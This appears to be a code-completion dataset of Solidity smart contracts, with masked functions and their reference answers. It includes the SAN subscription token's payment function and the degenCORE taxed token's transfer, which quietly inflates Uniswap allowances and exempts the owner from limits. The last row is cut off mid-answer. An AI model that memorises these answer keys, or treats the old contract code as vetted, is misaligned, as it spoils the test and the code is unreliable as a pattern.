feeCollector = _feeCollector;
}
/**
* @dev change BONK fee
* @param _bonkFee new fee in BONK (with decimals)
*/
function setBonkFee(uint _bonkFee) external onlyOwner {
bonkFee = _bonkFee;
emit BonkFeeUpdated(_bonkFee, now);
}
/**
* @dev allows withdrawal of ETH in case it was sent by accident
* @param _beneficiary address where to send the eth.
*/
function withdrawEth(address payable _beneficiary) external onlyOwner {
_beneficiary.transfer(address(this).balance);
}
/**
* @dev allows withdrawal of ERC20 token in case it was sent by accident
* @param _tokenAddress address of ERC20 token.
* @param _beneficiary address where to send the tokens.
* @param _amount amount to send.
*/
function withdrawERC20(address _tokenAddress, address _beneficiary, uint _amount) external onlyOwner {
IERC20(_tokenAddress).transfer(_beneficiary, _amount);
}
/**
* @dev Gets the current fee in BONK.
* @return BONK fee.
*/
function getBonkFee() public view returns (uint256) {
return bonkFee;
}
/**
* @dev Gets the creator of the token.
* @param _tokenId uint256 ID of the token.
* @return address of the creator.
*/
function tokenCreator(uint256 _tokenId) public view returns (address) {
return tokenCreators[_tokenId];
}
/**
* @dev Internal function for setting the token's creator.
* @param _tokenId uint256 id of the token.
* @param _creator address of the creator of the token.
*/
function _setTokenCreator(uint256 _tokenId, address _creator) internal {
tokenCreators[_tokenId] = _creator;
}
/**
* @dev Internal function creating a new token.
* @param _uri string metadata uri associated with the token
* @param _creator address of the creator of the token.
*/
function _createToken(string memory _uri, address _creator) internal returns (uint256) {
uint256 newId = idCounter;
idCounter++;
_mint(_creator, newId);
_setTokenURI(newId, _uri);
_setTokenCreator(newId, _creator);
return newId;
}
<FILL_FUNCTION>
} |
uint balance = IERC20(bonkToken).balanceOf(address(this));
require(IERC20(bonkToken).transfer(feeCollector, balance), "fee transfer failed");
| function _forwardBonkTokens() internal | /**
* @dev Internal function for forwarding collected fees to the fee collector.
*/
function _forwardBonkTokens() internal |
44913 | SAN | _fulfillPayment | contract SAN is Owned, ERC20 {
string public constant name = "SANtiment TEST token";
string public constant symbol = "SAN.TEST.MAX.1";
uint8 public constant decimals = 15;
address CROWDSALE_MINTER = 0x6Be4E8a44C9D22F39DB262cF1A54C1172dA3B864;
address public SUBSCRIPTION_MODULE = 0x00000000;
address public beneficiary;
uint public PLATFORM_FEE_PER_10000 = 1; //0.01%
uint public totalOnDeposit;
uint public totalInCirculation;
///@dev constructor
function SAN() {
beneficiary = owner = msg.sender;
}
// ------------------------------------------------------------------------
// Don't accept ethers
// ------------------------------------------------------------------------
function () {
throw;
}
//======== SECTION Configuration: Owner only ========
//
///@notice set beneficiary - the account receiving platform fees.
function setBeneficiary(address newBeneficiary)
external
only(owner) {
beneficiary = newBeneficiary;
}
///@notice attach module managing subscriptions. if subModule==0x0, then disables subscription functionality for this token.
/// detached module can usually manage subscriptions, but all operations changing token balances are disabled.
function attachSubscriptionModule(SubscriptionModule subModule)
noAnyReentrancy
external
only(owner) {
SUBSCRIPTION_MODULE = subModule;
if (address(subModule) > 0) subModule.attachToken(this);
}
///@notice set platform fee denominated in 1/10000 of SAN token. Thus "1" means 0.01% of SAN token.
function setPlatformFeePer10000(uint newFee)
external
only(owner) {
require (newFee <= 10000); //formally maximum fee is 100% (completely insane but technically possible)
PLATFORM_FEE_PER_10000 = newFee;
}
//======== Interface XRateProvider: a trivial exchange rate provider. Rate is 1:1 and SAN symbol as the code
//
///@dev used as a default XRateProvider (id==0) by subscription module.
///@notice returns always 1 because exchange rate of the token to itself is always 1.
function getRate() returns(uint32 ,uint32) { return (1,1); }
function getCode() public returns(string) { return symbol; }
//==== Interface ERC20ModuleSupport: Subscription, Deposit and Payment Support =====
///
///@dev used by subscription module to operate on token balances.
///@param msg_sender should be an original msg.sender provided to subscription module.
function _fulfillPreapprovedPayment(address _from, address _to, uint _value, address msg_sender)
public
onlyTrusted
returns(bool success) {
success = _from != msg_sender && allowed[_from][msg_sender] >= _value;
if (!success) {
Payment(_from, _to, _value, _fee(_value), msg_sender, PaymentStatus.APPROVAL_ERROR, 0);
} else {
success = _fulfillPayment(_from, _to, _value, 0, msg_sender);
if (success) {
allowed[_from][msg_sender] -= _value;
}
}
return success;
}
///@dev used by subscription module to operate on token balances.
///@param msg_sender should be an original msg.sender provided to subscription module.
function _fulfillPayment(address _from, address _to, uint _value, uint subId, address msg_sender)
public
onlyTrusted
returns (bool success) {<FILL_FUNCTION_BODY> }
function _fee(uint _value) internal constant returns (uint fee) {
return _value * PLATFORM_FEE_PER_10000 / 10000;
}
///@notice used by subscription module to re-create token from returning deposit.
///@dev a subscription module is responsible to correct deposit management.
function _mintFromDeposit(address owner, uint amount)
public
onlyTrusted {
balances[owner] += amount;
totalOnDeposit -= amount;
totalInCirculation += amount;
}
///@notice used by subscription module to burn token while creating a new deposit.
///@dev a subscription module is responsible to create and maintain the deposit record.
function _burnForDeposit(address owner, uint amount)
public
onlyTrusted
returns (bool success) {
if (balances[owner] >= amount) {
balances[owner] -= amount;
totalOnDeposit += amount;
totalInCirculation -= amount;
return true;
} else { return false; }
}
//========= Crowdsale Only ===============
///@notice mint new token for given account in crowdsale stage
///@dev allowed only if token not started yet and only for registered minter.
///@dev tokens are become in circulation after token start.
function mint(uint amount, address account)
onlyCrowdsaleMinter
isNotStartedOnly
{
totalSupply += amount;
balances[account]+=amount;
}
///@notice start normal operation of the token. No minting is possible after this point.
function start()
isNotStartedOnly
only(owner) {
totalInCirculation = totalSupply;
isStarted = true;
}
//========= SECTION: Modifier ===============
modifier onlyCrowdsaleMinter() {
if (msg.sender != CROWDSALE_MINTER) throw;
_;
}
modifier onlyTrusted() {
if (msg.sender != SUBSCRIPTION_MODULE) throw;
_;
}
///@dev token not started means minting is possible, but usual token operations are not.
modifier isNotStartedOnly() {
if (isStarted) throw;
_;
}
enum PaymentStatus {OK, BALANCE_ERROR, APPROVAL_ERROR}
///@notice event issued on any fee based payment (made of failed).
///@param subId - related subscription Id if any, or zero otherwise.
event Payment(address _from, address _to, uint _value, uint _fee, address caller, PaymentStatus status, uint subId);
} | contract SAN is Owned, ERC20 {
string public constant name = "SANtiment TEST token";
string public constant symbol = "SAN.TEST.MAX.1";
uint8 public constant decimals = 15;
address CROWDSALE_MINTER = 0x6Be4E8a44C9D22F39DB262cF1A54C1172dA3B864;
address public SUBSCRIPTION_MODULE = 0x00000000;
address public beneficiary;
uint public PLATFORM_FEE_PER_10000 = 1; //0.01%
uint public totalOnDeposit;
uint public totalInCirculation;
///@dev constructor
function SAN() {
beneficiary = owner = msg.sender;
}
// ------------------------------------------------------------------------
// Don't accept ethers
// ------------------------------------------------------------------------
function () {
throw;
}
//======== SECTION Configuration: Owner only ========
//
///@notice set beneficiary - the account receiving platform fees.
function setBeneficiary(address newBeneficiary)
external
only(owner) {
beneficiary = newBeneficiary;
}
///@notice attach module managing subscriptions. if subModule==0x0, then disables subscription functionality for this token.
/// detached module can usually manage subscriptions, but all operations changing token balances are disabled.
function attachSubscriptionModule(SubscriptionModule subModule)
noAnyReentrancy
external
only(owner) {
SUBSCRIPTION_MODULE = subModule;
if (address(subModule) > 0) subModule.attachToken(this);
}
///@notice set platform fee denominated in 1/10000 of SAN token. Thus "1" means 0.01% of SAN token.
function setPlatformFeePer10000(uint newFee)
external
only(owner) {
require (newFee <= 10000); //formally maximum fee is 100% (completely insane but technically possible)
PLATFORM_FEE_PER_10000 = newFee;
}
//======== Interface XRateProvider: a trivial exchange rate provider. Rate is 1:1 and SAN symbol as the code
//
///@dev used as a default XRateProvider (id==0) by subscription module.
///@notice returns always 1 because exchange rate of the token to itself is always 1.
function getRate() returns(uint32 ,uint32) { return (1,1); }
function getCode() public returns(string) { return symbol; }
//==== Interface ERC20ModuleSupport: Subscription, Deposit and Payment Support =====
///
///@dev used by subscription module to operate on token balances.
///@param msg_sender should be an original msg.sender provided to subscription module.
function _fulfillPreapprovedPayment(address _from, address _to, uint _value, address msg_sender)
public
onlyTrusted
returns(bool success) {
success = _from != msg_sender && allowed[_from][msg_sender] >= _value;
if (!success) {
Payment(_from, _to, _value, _fee(_value), msg_sender, PaymentStatus.APPROVAL_ERROR, 0);
} else {
success = _fulfillPayment(_from, _to, _value, 0, msg_sender);
if (success) {
allowed[_from][msg_sender] -= _value;
}
}
return success;
}
<FILL_FUNCTION>
function _fee(uint _value) internal constant returns (uint fee) {
return _value * PLATFORM_FEE_PER_10000 / 10000;
}
///@notice used by subscription module to re-create token from returning deposit.
///@dev a subscription module is responsible to correct deposit management.
function _mintFromDeposit(address owner, uint amount)
public
onlyTrusted {
balances[owner] += amount;
totalOnDeposit -= amount;
totalInCirculation += amount;
}
///@notice used by subscription module to burn token while creating a new deposit.
///@dev a subscription module is responsible to create and maintain the deposit record.
function _burnForDeposit(address owner, uint amount)
public
onlyTrusted
returns (bool success) {
if (balances[owner] >= amount) {
balances[owner] -= amount;
totalOnDeposit += amount;
totalInCirculation -= amount;
return true;
} else { return false; }
}
//========= Crowdsale Only ===============
///@notice mint new token for given account in crowdsale stage
///@dev allowed only if token not started yet and only for registered minter.
///@dev tokens are become in circulation after token start.
function mint(uint amount, address account)
onlyCrowdsaleMinter
isNotStartedOnly
{
totalSupply += amount;
balances[account]+=amount;
}
///@notice start normal operation of the token. No minting is possible after this point.
function start()
isNotStartedOnly
only(owner) {
totalInCirculation = totalSupply;
isStarted = true;
}
//========= SECTION: Modifier ===============
modifier onlyCrowdsaleMinter() {
if (msg.sender != CROWDSALE_MINTER) throw;
_;
}
modifier onlyTrusted() {
if (msg.sender != SUBSCRIPTION_MODULE) throw;
_;
}
///@dev token not started means minting is possible, but usual token operations are not.
modifier isNotStartedOnly() {
if (isStarted) throw;
_;
}
enum PaymentStatus {OK, BALANCE_ERROR, APPROVAL_ERROR}
///@notice event issued on any fee based payment (made of failed).
///@param subId - related subscription Id if any, or zero otherwise.
event Payment(address _from, address _to, uint _value, uint _fee, address caller, PaymentStatus status, uint subId);
} |
var fee = _fee(_value);
assert (fee <= _value); //internal sanity check
if (balances[_from] >= _value && balances[_to] + _value > balances[_to]) {
balances[_from] -= _value;
balances[_to] += _value - fee;
balances[beneficiary] += fee;
Payment(_from, _to, _value, fee, msg_sender, PaymentStatus.OK, subId);
return true;
} else {
Payment(_from, _to, _value, fee, msg_sender, PaymentStatus.BALANCE_ERROR, subId);
return false;
}
| function _fulfillPayment(address _from, address _to, uint _value, uint subId, address msg_sender)
public
onlyTrusted
returns (bool success) | ///@dev used by subscription module to operate on token balances.
///@param msg_sender should be an original msg.sender provided to subscription module.
function _fulfillPayment(address _from, address _to, uint _value, uint subId, address msg_sender)
public
onlyTrusted
returns (bool success) |
22856 | degenCORE | _transfer | contract degenCORE is Ownable, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _taxFee;
uint256 private _uniswapSellTaxFee;
uint256 private _maxFee;
address private _storeAddress;
uint256 private _maxTransactionAmount;
address private _UNIWethPoolAddress;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 totalSupply, uint256 taxFee, uint256 uniswapSellTaxFee, uint256 maxTransactionAmount) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_taxFee = taxFee;
_uniswapSellTaxFee = uniswapSellTaxFee;
_maxFee = _taxFee >= _uniswapSellTaxFee ? _taxFee : _uniswapSellTaxFee;
_maxTransactionAmount = maxTransactionAmount;
//_UNIWethPoolAddress = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //main net
_UNIWethPoolAddress = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xc778417E063141139Fce010982780140Aa0cD5Ab, address(this)); //ropsten test net
//_UNIWethPoolAddress = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xd0A1E359811322d97991E03f863a0C30C2cF029C, address(this)); //kovan test net
_mint(_msgSender(), totalSupply);
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
uint256 sellTaxAmount;
if(spender == _UNIWethPoolAddress) {
sellTaxAmount = amount.mul(_maxFee).div(100);
}
_approve(_msgSender(), spender, amount.add(sellTaxAmount));
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {<FILL_FUNCTION_BODY> }
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
/**
* @dev Sets {storeAddress} to a value.
*
*/
function setStoreAddress(address storeAddress) external onlyOwner returns (bool) {
require(storeAddress != address(0), 'Should not be zero address');
require(storeAddress != address(this), 'Should not be token address');
_storeAddress = storeAddress;
return true;
}
/**
* @dev Sets {_taxFee} to a value.
*
*/
function setTaxFee(uint256 taxFee) external onlyOwner returns (bool) {
if(taxFee < 0 || taxFee > 20)
return false;
_taxFee = taxFee;
_maxFee = _taxFee >= _uniswapSellTaxFee ? _taxFee : _uniswapSellTaxFee;
return true;
}
/**
* @dev Sets {_uniswapSellTaxFee} to a value.
*
*/
function setUniswapSellTaxFee(uint256 uniswapSellTaxFee) external onlyOwner returns (bool) {
if(uniswapSellTaxFee < 0 || uniswapSellTaxFee > 20)
return false;
_uniswapSellTaxFee = uniswapSellTaxFee;
_maxFee = _taxFee >= _uniswapSellTaxFee ? _taxFee : _uniswapSellTaxFee;
return true;
}
/**
* @dev See {_taxFee}.
*/
function taxFee() external view returns (uint256) {
return _taxFee;
}
/**
* @dev See {_uniswapSellTaxFee}.
*/
function uniswapSellTaxFee() external view returns (uint256) {
return _uniswapSellTaxFee;
}
/**
* @dev See {_storeAddress}.
*/
function storeAddress() external view returns (address) {
return _storeAddress;
}
/**
* @dev See {_maxTransactionAmount}.
*/
function maxTransactionAmount() external view returns (uint256) {
return _maxTransactionAmount;
}
/**
* @dev returns sorted token addresses, used to handle return values from pairs sorted in this order
*/
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
/**
* @dev calculates the CREATE2 address for a pair without making any external calls
*/
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
} | contract degenCORE is Ownable, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _taxFee;
uint256 private _uniswapSellTaxFee;
uint256 private _maxFee;
address private _storeAddress;
uint256 private _maxTransactionAmount;
address private _UNIWethPoolAddress;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 totalSupply, uint256 taxFee, uint256 uniswapSellTaxFee, uint256 maxTransactionAmount) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_taxFee = taxFee;
_uniswapSellTaxFee = uniswapSellTaxFee;
_maxFee = _taxFee >= _uniswapSellTaxFee ? _taxFee : _uniswapSellTaxFee;
_maxTransactionAmount = maxTransactionAmount;
//_UNIWethPoolAddress = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //main net
_UNIWethPoolAddress = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xc778417E063141139Fce010982780140Aa0cD5Ab, address(this)); //ropsten test net
//_UNIWethPoolAddress = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xd0A1E359811322d97991E03f863a0C30C2cF029C, address(this)); //kovan test net
_mint(_msgSender(), totalSupply);
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
uint256 sellTaxAmount;
if(spender == _UNIWethPoolAddress) {
sellTaxAmount = amount.mul(_maxFee).div(100);
}
_approve(_msgSender(), spender, amount.add(sellTaxAmount));
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
<FILL_FUNCTION>
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
/**
* @dev Sets {storeAddress} to a value.
*
*/
function setStoreAddress(address storeAddress) external onlyOwner returns (bool) {
require(storeAddress != address(0), 'Should not be zero address');
require(storeAddress != address(this), 'Should not be token address');
_storeAddress = storeAddress;
return true;
}
/**
* @dev Sets {_taxFee} to a value.
*
*/
function setTaxFee(uint256 taxFee) external onlyOwner returns (bool) {
if(taxFee < 0 || taxFee > 20)
return false;
_taxFee = taxFee;
_maxFee = _taxFee >= _uniswapSellTaxFee ? _taxFee : _uniswapSellTaxFee;
return true;
}
/**
* @dev Sets {_uniswapSellTaxFee} to a value.
*
*/
function setUniswapSellTaxFee(uint256 uniswapSellTaxFee) external onlyOwner returns (bool) {
if(uniswapSellTaxFee < 0 || uniswapSellTaxFee > 20)
return false;
_uniswapSellTaxFee = uniswapSellTaxFee;
_maxFee = _taxFee >= _uniswapSellTaxFee ? _taxFee : _uniswapSellTaxFee;
return true;
}
/**
* @dev See {_taxFee}.
*/
function taxFee() external view returns (uint256) {
return _taxFee;
}
/**
* @dev See {_uniswapSellTaxFee}.
*/
function uniswapSellTaxFee() external view returns (uint256) {
return _uniswapSellTaxFee;
}
/**
* @dev See {_storeAddress}.
*/
function storeAddress() external view returns (address) {
return _storeAddress;
}
/**
* @dev See {_maxTransactionAmount}.
*/
function maxTransactionAmount() external view returns (uint256) {
return _maxTransactionAmount;
}
/**
* @dev returns sorted token addresses, used to handle return values from pairs sorted in this order
*/
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
/**
* @dev calculates the CREATE2 address for a pair without making any external calls
*/
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
} |
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(_storeAddress != address(0), "ERC20: store address is not set yet.");
_beforeTokenTransfer(sender, recipient, amount);
if(recipient != owner() && sender != owner() ) {
require(amount <= _maxTransactionAmount, "ERC20: transfer amount exceeds limit");
}
uint256 taxAmount;
uint256 transfAmount;
if(recipient == _UNIWethPoolAddress ) {
taxAmount = amount.mul(_maxFee).div(100);
transfAmount = amount;
} else {
taxAmount = amount.mul(_taxFee).div(100);
transfAmount = amount.sub(taxAmount);
}
